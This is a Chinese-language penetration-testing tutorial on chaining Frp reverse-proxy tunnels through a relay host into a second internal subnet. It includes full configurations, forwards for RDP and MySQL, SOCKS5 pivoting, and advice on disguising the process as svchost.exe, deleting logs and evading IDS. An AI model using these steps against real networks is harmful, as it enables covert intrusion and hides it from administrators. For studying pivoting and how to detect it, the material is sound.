Frp(Fast Reverse Proxy)作为一款轻量高性能的反向代理工具,凭借跨平台、多协议支持的特性,成为渗透测试中实现内网穿透的核心利器。而二级隧道代理技术,更是突破多层内网隔离、触达核心业务资产的关键手段。本文将从技术原理、环境架构、精细化配置、高级玩法及攻防对抗视角,全方位拆解Frp二级隧道的落地流程,同时结合实战场景给出前瞻性优化方案。
一、Frp二级隧道的核心原理与价值定位
1. 技术本质:多层代理的链路级转发
传统一级Frp隧道仅能实现“外网VPS←→单层内网主机”的连通,而二级隧道通过**“服务端-客户端-中转服务端-目标客户端”**的四级链路架构,构建跨网段的数据传输通道。
其核心转发逻辑如下:
- 一级链路锚定外网:外网VPS部署Frps主服务端,第一层内网主机(DMZ区/边界设备)通过Frpc客户端连接VPS,打通外网与第一层内网的通信桥梁。
- 二级链路穿透深层内网:第一层内网主机同时部署中转Frps服务端,第二层内网主机(核心业务区/数据库服务器)通过Frpc客户端连接该中转服务端;再由第一层内网的Frpc客户端,将中转Frps的端口映射至外网VPS。
- 全链路数据流转:攻击者本地→外网VPS→第一层内网中转节点→第二层内网目标主机,最终实现对深层内网服务的访问与控制。
2. 渗透测试中的核心价值
- 突破网络隔离:解决第二层内网主机“仅能访问第一层内网、无法直连外网”的限制,触达传统扫描工具无法探测的核心资产。
- 端口灵活转发:支持TCP/UDP/HTTP/HTTPS等多协议,可转发3389(远程桌面)、3306(MySQL)、8080(Web服务)等关键端口。
- 隐蔽性强:隧道流量经加密传输,可伪装成正常业务流量,降低被防火墙、IDS/IPS检测的概率。
- 轻量化部署:Frp二进制文件体积小(不足10MB),支持Windows/Linux/macOS多系统,无需依赖复杂运行环境,可快速部署与清理。
二、精细化环境搭建与配置
1. 节点角色与环境要求
| 节点类型 | 网络属性 | 部署组件 | 核心要求 |
|---|---|---|---|
| 外网VPS | 公网IP,7000/自定义端口可访问 | Frps主服务端 | 需开放防火墙端口,建议使用云服务器(稳定) |
| 第一层内网中转主机 | 可访问外网VPS+可访问第二层内网 | Frpc(连VPS)+ Frps中转服务端 | 需管理员权限,支持端口绑定与后台进程运行 |
| 第二层内网目标主机 | 仅可访问第一层内网中转主机 | Frpc(连中转Frps) | 无需公网权限,仅需与中转主机网络连通 |
| 攻击者本地主机 | 可访问外网VPS | Frpc客户端/代理工具(Proxifier) | 需配置代理链路,实现对目标端口的访问 |
2. 分步配置与启动(以Linux+Windows混合环境为例)
步骤1:外网VPS部署Frps主服务端
- 下载与解压:从Frp官方仓库下载对应系统版本,解压后得到
frps(服务端)、frps.ini(配置文件)。 - 精细化配置frps.ini:
[common] bind_addr = 0.0.0.0 # 监听所有网卡 bind_port = 7000 # Frps主监听端口(需开放防火墙) token = P@ssw0rd2024 # 认证令牌,防止未授权连接 max_pool_count = 50 # 最大连接池数量,提升并发性能 tls_enable = true # 开启TLS加密,防止流量被窃听 dashboard_port = 7500 # 仪表盘端口,监控隧道状态 dashboard_user = admin # 仪表盘账号 dashboard_pwd = Admin@123 # 仪表盘密码 log_file = ./frps.log # 日志文件路径 log_level = info # 日志级别(debug/info/warn/error) log_max_days = 3 # 日志保留天数 - 后台启动与验证:
# Linux后台启动(nohup+&组合)nohup./frps-c./frps.ini>/dev/null2>&1&# 验证端口监听ss-tulnp|grep7000# 访问仪表盘验证(浏览器打开http://VPS公网IP:7500)
步骤2:第一层内网中转主机部署双角色(Frpc+Frps中转)
该主机需同时承担“连接外网VPS的客户端”和“第二层内网的服务端”两个角色,核心是将中转Frps的端口映射至外网VPS。
(1)配置Frpc客户端(连接外网VPS)
新建frpc_vps.ini:
[common] server_addr = 1.1.1.1 # 外网VPS公网IP server_port = 7000 # VPS的Frps主监听端口 token = P@ssw0rd2024 # 与VPS的token一致 tls_enable = true # 与服务端保持一致,开启加密 # 映射中转Frps的监听端口至VPS [frps_transit] type = tcp # 协议类型 local_ip = 127.0.0.1 # 中转Frps的本地监听IP local_port = 7001 # 中转Frps的监听端口 remote_port = 7001 # VPS映射的端口(需开放防火墙) use_encryption = true # 开启流量加密 use_compression = true # 开启流量压缩,提升传输效率(2)配置Frps中转服务端(供第二层内网连接)
新建frps_transit.ini:
[common] bind_addr = 0.0.0.0 # 监听所有网卡,允许第二层内网主机连接 bind_port = 7001 # 与上方local_port一致 token = Transit@2024 # 二级隧道独立令牌,与第二层内网Frpc一致 tls_enable = true # 开启加密 log_file = ./frps_transit.log log_level = info(3)启动双进程并验证(以Windows系统为例)
# 后台启动连接VPS的Frpc start /b frpc.exe -c frpc_vps.ini # 后台启动中转Frps start /b frps.exe -c frps_transit.ini # 验证端口监听(7001端口需被占用) netstat -ano | findstr "7001"步骤3:第二层内网目标主机部署Frpc客户端
新建frpc_target.ini,核心是连接第一层内网的中转Frps服务端,并转发目标端口:
[common] server_addr = 192.168.1.10 # 第一层内网中转主机的内网IP server_port = 7001 # 中转Frps的监听端口 token = Transit@2024 # 与中转Frps的token一致 tls_enable = true # 转发远程桌面端口(3389) [rdp_target] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 33890 # 中转主机映射的端口 # 转发MySQL数据库端口(3306) [mysql_target] type = tcp local_ip = 127.0.0.1 local_port = 3306 remote_port = 33060 # 转发Web服务端口(8080) [web_target] type = tcp local_ip = 127.0.0.1 local_port = 8080 remote_port = 80800启动客户端并验证:
start /b frpc.exe -c frpc_target.ini netstat -ano | findstr "7001"步骤4:攻击者本地访问目标服务
通过“本地→VPS→中转主机→目标主机”的链路,直接访问映射端口:
# 访问3389远程桌面(Windows本地)mstsc /v:1.1.1.1:33890# 访问MySQL数据库(Linux本地)mysql-h1.1.1.1-P33060-uroot-p# 访问8080 Web服务(浏览器)http://1.1.1.1:80800三、高级玩法:Socks5代理实现全内网漫游
上述端口转发仅能访问指定端口,若需访问第二层内网的任意主机和端口,可配置Socks5代理实现全内网漫游,这也是渗透测试横向移动的关键技巧。
1. 配置流程
(1)第一层内网中转主机新增Socks5配置
修改frpc_vps.ini,新增Socks5代理映射:
[socks5_proxy] type = tcp local_ip = 127.0.0.1 local_port = 1080 # 本地Socks5代理端口 remote_port = 1080 # VPS映射的Socks5端口 plugin = socks5 # 启用Socks5插件 plugin_user = proxy_user # 可选,Socks5认证账号 plugin_passwd = Proxy@123 # 可选,Socks5认证密码 use_encryption = true use_compression = true重启Frpc客户端,使配置生效。
(2)攻击者本地配置代理工具
以Proxifier为例:
- 添加代理服务器:地址为VPS公网IP,端口为1080,协议选择Socks5。
- 配置代理规则:将需要访问的第二层内网网段(如192.168.2.0/24)路由至该代理服务器。
(3)实现全内网漫游
此时攻击者可直接访问第二层内网的任意主机和端口,例如:
# 扫描第二层内网存活主机nmap-sP192.168.2.0/24-sT-Pn# 访问第二层内网其他主机的Web服务curlhttp://192.168.2.30:80# 远程连接第二层内网其他主机的3389端口mstsc /v:192.168.2.50:3389四、攻防对抗视角:隐蔽性优化与风险规避
1. 提升隧道隐蔽性的关键技巧
- 进程伪装:将Frp进程重命名为系统常见进程名,如
svchost.exe(Windows)、sshd(Linux),降低被管理员发现的概率。 - 端口混淆:避免使用默认的7000端口,改用80、443等常用业务端口,绕过端口封禁策略。
- 流量加密与混淆:强制开启
tls_enable = true,并结合use_encryption和use_compression,防止流量被特征检测;可通过自定义插件对流量进行二次混淆。 - 日志清理:测试完成后,及时删除Frp的日志文件和配置文件,避免留下痕迹。
- 周期性心跳调整:修改
heartbeat_interval(心跳间隔)和heartbeat_timeout(超时时间),使心跳包频率接近正常业务流量。
2. 渗透测试中的合规与风险注意事项
- 授权前提:仅可在授权范围内使用该技术,未经授权的内网穿透属于违法行为。
- 避免影响业务:测试过程中需控制隧道带宽,避免占用过多资源导致目标业务系统卡顿或崩溃。
- 及时清理痕迹:测试完成后,需停止并删除所有Frp进程、配置文件和日志,恢复网络环境至初始状态。
- 防御检测规避:针对目标网络的IDS/IPS设备,可采用分片传输、动态端口切换等方式,降低隧道被检测的概率。
五、前瞻性技术拓展与趋势
1. 与其他工具的联动应用
- 结合漏洞扫描工具:将Socks5代理配置到Nessus、AWVS等扫描工具中,实现对深层内网的漏洞扫描。
- 配合横向移动工具:通过隧道代理使用Cobalt Strike、Metasploit等工具,实现对第二层内网的横向渗透。
- 集成至自动化框架:将Frp二级隧道的部署与配置集成至渗透测试自动化框架(如AutoSploit),提升测试效率。
2. 技术发展趋势
- 云原生适配:随着云环境普及,Frp与K8s、Docker等容器技术的联动将成为趋势,实现容器化环境的内网穿透。
- 智能化动态隧道:结合AI技术实现动态端口切换、流量混淆和自适应加密,提升隧道的抗检测能力。
- 轻量级无文件部署:通过内存加载技术实现Frp的无文件运行,进一步降低痕迹残留风险。
六、总结
Frp二级隧道代理技术,是渗透测试中突破多层内网隔离的“利器”。其核心价值在于通过多层代理转发,构建从外网到深层内网的全链路通信通道,实现对核心资产的访问与控制。在实际应用中,需结合目标网络拓扑灵活调整配置,同时注重隐蔽性优化与合规性风险规避。随着网络攻防技术的不断演进,Frp二级隧道的技术形态也将持续升级,为渗透测试提供更高效、更隐蔽的内网穿透解决方案。